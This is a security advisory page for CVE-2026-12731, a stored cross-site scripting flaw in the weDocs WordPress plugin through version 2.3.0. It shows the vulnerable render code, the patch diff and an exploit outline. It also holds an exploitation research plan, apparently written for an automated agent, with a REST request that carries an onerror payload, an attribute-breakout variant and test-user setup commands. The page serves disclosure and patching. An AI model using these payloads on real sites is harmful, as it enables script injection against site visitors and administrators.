CVE-2026-12731

weDocs: AI Powered Knowledge Base, Docs, Documentation, Wiki & AI Chatbot <= 2.3.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'sectionTitleTag' and 'articleTitleTag' Block Attributes

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.3.1
Patched in
1d
Time to patch

Description

The weDocs: AI Powered Knowledge Base, Docs, Documentation, Wiki & AI Chatbot plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'sectionTitleTag' and 'articleTitleTag' Block Attributes in all versions up to, and including, 2.3.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.3.0
PublishedJuly 2, 2026
Last updatedJuly 3, 2026
Affected pluginwedocs

What Changed in the Fix

Changes introduced in v2.3.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan targets **CVE-2026-12731**, a Stored Cross-Site Scripting (XSS) vulnerability in the **weDocs** plugin. ### 1. Vulnerability Summary The **weDocs** plugin (<= 2.3.0) is vulnerable to Stored XSS because it fails to sanitize or escape the `sectionTitleTag` and `article…

Show full research plan

This exploitation research plan targets CVE-2026-12731, a Stored Cross-Site Scripting (XSS) vulnerability in the weDocs plugin.

1. Vulnerability Summary

The weDocs plugin (<= 2.3.0) is vulnerable to Stored XSS because it fails to sanitize or escape the sectionTitleTag and articleTitleTag block attributes before rendering them in the HTML output. An attacker with Contributor level permissions or higher can modify these attributes in the Gutenberg block editor to inject malicious HTML and JavaScript. When a user (including administrators) views the affected page, the script executes in their browser context.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API (Gutenberg Editor)
  • Vulnerable Block: wedocs/sidebar (inferred from file structure assets/build/blocks/Sidebar/)
  • Vulnerable Attributes: sectionTitleTag, articleTitleTag
  • Required Role: Contributor, Author, Editor, or Administrator.
  • Preconditions: The docs custom post type (inferred) must be editable by the attacker.

3. Code Flow

  1. Input: A user with editing permissions creates/updates a Doc. They provide a payload for the sectionTitleTag or articleTitleTag attributes within the Gutenberg block JSON.
  2. Storage: The payload is stored in the wp_posts table within the post_content field (e.g., <!-- wp:wedocs/sidebar {"sectionTitleTag":"..."} /-->).
  3. Execution (Sink):
    • When the Doc is viewed on the frontend, WordPress invokes the block's render callback.
    • File: assets/build/blocks/Sidebar/render.php
    • Function: render_wedocs_sidebar( $attributes, $content )
    • The attributes are extracted (Lines 149-150):
      $section_title_tag      = $attributes['sectionTitleTag'] ?? 'h3';
      $article_title_tag      = $attributes['articleTitleTag'] ?? 'h4';
      
    • The variables are subsequently used to construct HTML tags (e.g., <$section_title_tag ...>) without being passed through tag_escape() or a whitelist check.

4. Nonce Acquisition Strategy

To update a post via the REST API, the agent must provide a valid REST nonce in the X-WP-Nonce header.

  1. Login: Log in as a Contributor.
  2. Navigate: Navigate to the "New Doc" or "Edit Doc" page (e.g., /wp-admin/post-new.php?post_type=docs).
  3. Extraction: Since this is a Gutenberg-driven environment, the REST nonce is stored in the window.wpApiSettings object.
  4. Command:
    browser_eval("window.wpApiSettings.nonce")
    

5. Exploitation Strategy

The goal is to inject an img tag with an onerror handler into the HTML tag name position.

Step 1: Create a Doc

  • Tool: http_request
  • Method: POST
  • URL: /wp-json/wp/v2/docs (Verify post type name first)
  • Headers: X-WP-Nonce: [NONCE], Content-Type: application/json
  • Body:
    {
      "title": "Security Research",
      "status": "publish",
      "content": "<!-- wp:wedocs/sidebar {\"sectionTitleTag\":\"img src=x onerror=alert(document.domain) \",\"articleTitleTag\":\"h4\"} /-->"
    }
    

Step 2: Trigger Execution

  • Navigate to the permalink of the newly created Doc (returned in the link field of the Step 1 response).
  • The rendered HTML will contain: <img src=x onerror=alert(document.domain) class="wedocs-section-title">...

6. Test Data Setup

  1. Plugin Setup: Install and activate the wedocs plugin (version 2.3.0).
  2. User Setup:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  3. Environment Check: Ensure the docs post type is registered and supports the REST API (standard for modern weDocs).

7. Expected Results

  • The REST API should return a 201 Created or 200 OK response confirming the post content was saved.
  • Upon navigating to the frontend Doc page, a JavaScript alert box showing the document domain should appear.
  • The HTML source of the sidebar should show the broken/injected tag.

8. Verification Steps

  1. Check Content: Verify the payload is stored correctly in the database.
    wp post list --post_type=docs --format=csv
    wp post get [POST_ID] --field=post_content
    
  2. Check Response: Use http_request to GET the frontend page and verify the presence of the onerror payload.
    # Look for the payload in the raw HTML
    grep "onerror=alert"
    

9. Alternative Approaches

  • Attribute Breakout: If the tag name itself is sanitized but attributes are not, try injecting into the className attribute:
    "className": "injected\" onmouseover=\"alert(1)\"".
  • Article Tag: Repeat the same strategy using the articleTitleTag attribute if sectionTitleTag is blocked by a firewall/WAF.
  • Shortcode (Legacy): Check if the plugin supports a legacy shortcode that uses these same attributes, as shortcodes often share rendering logic with blocks. Look for add_shortcode in the main plugin file.
Research Findings
Static analysis — not yet PoC-verified

Summary

The weDocs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sectionTitleTag' and 'articleTitleTag' block attributes. Authenticated attackers with Contributor-level permissions or higher can inject arbitrary JavaScript into these attributes through the Gutenberg editor, which executes when any user visits the page containing the malicious block.

Vulnerable Code

// assets/build/blocks/Sidebar/render.php lines 154-155
        $section_title_tag      = $attributes['sectionTitleTag'] ?? 'h3';
        $article_title_tag      = $attributes['articleTitleTag'] ?? 'h4';

---

// assets/build/blocks/Sidebar/render.php lines 141-143
        $connector_width = intval( str_replace( 'px', '', $tree_styles['indentation'] ?? '20' ) ) / 2;
        $connector_color = wedocs_get_color_value( $tree_styles['connectorColor'] ?? '', '#e5e7eb' );

        return '<div class="wedocs-connector-line" style="position: absolute; left: -' . $connector_width . 'px; top: 0; bottom: 0; width: ' . ( $tree_styles['connectorWidth'] ?? '1px' ) . '; background-color: ' . esc_attr( $connector_color ) . ';"></div>';

---

// assets/build/blocks/Sidebar/render.php line 446
        $section_style .= 'margin-bottom: ' . ( $tree_styles['itemSpacing'] ?? '4px' ) . ';';

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wedocs/2.3.0/assets/build/blocks/Sidebar/render.php\t2026-06-10 05:17:00.000000000 +0000\n+++ /home/deploy/wp-safety.org/data/plugin-versions/wedocs/2.3.1/assets/build/blocks/Sidebar/render.php\t2026-06-29 04:44:36.000000000 +0000\n@@ -76,6 +76,61 @@\n }\n \n /**\n+ * Validate a CSS length value (e.g. \"1px\", \"0.5rem\", \"10%\").\n+ *\n+ * Block attributes are stored unsanitized, so any string reaching a\n+ * style attribute must be validated before output.\n+ */\n+if ( ! function_exists( 'wedocs_sanitize_css_length' ) ) {\n+    function wedocs_sanitize_css_length( $value, $fallback = '1px' ) {\n+        if ( ! is_string( $value ) && ! is_numeric( $value ) ) {\n+            return $fallback;\n+        }\n+        $value = trim( (string) $value );\n+        if ( preg_match( '/^\\d+(\\.\\d+)?(px|em|rem|%|vh|vw|pt)?$/', $value ) ) {\n+            return $value;\n+        }\n+        return $fallback;\n+    }\n+}\n+\n+/**\n+ * Validate an HTML heading/inline tag name against a whitelist.\n+ */\n+if ( ! function_exists( 'wedocs_sanitize_tag_name' ) ) {\n+    function wedocs_sanitize_tag_name( $tag, $fallback = 'h3' ) {\n+        $allowed = [ 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'div', 'span', 'p' ];\n+        $tag     = is_string( $tag ) ? strtolower( trim( $tag ) ) : '';\n+        return in_array( $tag, $allowed, true ) ? $tag : $fallback;\n+    }\n+}\n+\n+/**\n  * Process WordPress color class and add to appropriate output\n  *\n  * @param string $parsed_color The parsed color value\n@@ -134,8 +189,9 @@\n \n         $connector_width = intval( str_replace( 'px', '', $tree_styles['indentation'] ?? '20' ) ) / 2;\n         $connector_color = wedocs_get_color_value( $tree_styles['connectorColor'] ?? '', '#e5e7eb' );\n+        $line_width      = wedocs_sanitize_css_length( $tree_styles['connectorWidth'] ?? '1px', '1px' );\n \n-        return '<div class="wedocs-connector-line" style="position: absolute; left: -' . $connector_width . 'px; top: 0; bottom: 0; width: ' . ( $tree_styles['connectorWidth'] ?? '1px' ) . '; background-color: ' . esc_attr( $connector_color ) . ';"></div>';\n+        return '<div class="wedocs-connector-line" style="position: absolute; left: -' . esc_attr( $connector_width ) . 'px; top: 0; bottom: 0; width: ' . esc_attr( $line_width ) . '; background-color: ' . esc_attr( $connector_color ) . ';"></div>';\n     }\n }\n if ( ! function_exists( 'render_wedocs_sidebar' ) ) {\n@@ -151,8 +207,8 @@\n     if ($enable_nested_articles === '') {\n         $enable_nested_articles = true;\n     }\n-        $section_title_tag      = $attributes['sectionTitleTag'] ?? 'h3';\n-        $article_title_tag      = $attributes['articleTitleTag'] ?? 'h4';\n+        $section_title_tag      = wedocs_sanitize_tag_name( $attributes['sectionTitleTag'] ?? 'h3', 'h3' );\n+        $article_title_tag      = wedocs_sanitize_tag_name( $attributes['articleTitleTag'] ?? 'h4', 'h4' );\n         // Styling attributes\n         $container_styles   = $attributes['containerStyles'] ?? [];\n         $section_styles     = $attributes['sectionStyles'] ?? [];\n@@ -443,7 +499,7 @@\n         if ( $level > 0 ) {\n             $section_style .= 'margin-left: ' . $indentation . 'px;';\n         }\n-        $section_style .= 'margin-bottom: ' . ( $tree_styles['itemSpacing'] ?? '4px' ) . ';';\n+        $section_style .= 'margin-bottom: ' . wedocs_sanitize_css_length( $tree_styles['itemSpacing'] ?? '4px', '4px' ) . ';';

Exploit Outline

To exploit this vulnerability, an attacker with at least Contributor-level access follows these steps: 1. Obtain a valid REST API nonce (e.g., by logging into the WordPress admin and extracting `window.wpApiSettings.nonce` from a post editing page). 2. Send a POST request to the WordPress REST API endpoint for the 'docs' custom post type (`/wp-json/wp/v2/docs`). 3. Include a block JSON payload for the `wedocs/sidebar` block in the `content` field. 4. The payload should set the `sectionTitleTag` or `articleTitleTag` attribute to a value that breaks out of the expected tag name and includes an event handler, such as: `"sectionTitleTag":"img src=x onerror=alert(document.domain) "`. 5. Once the post is saved, any user who views the published doc page will trigger the JavaScript execution as the plugin renders the malicious attribute directly as an HTML tag name without escaping or whitelisting.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.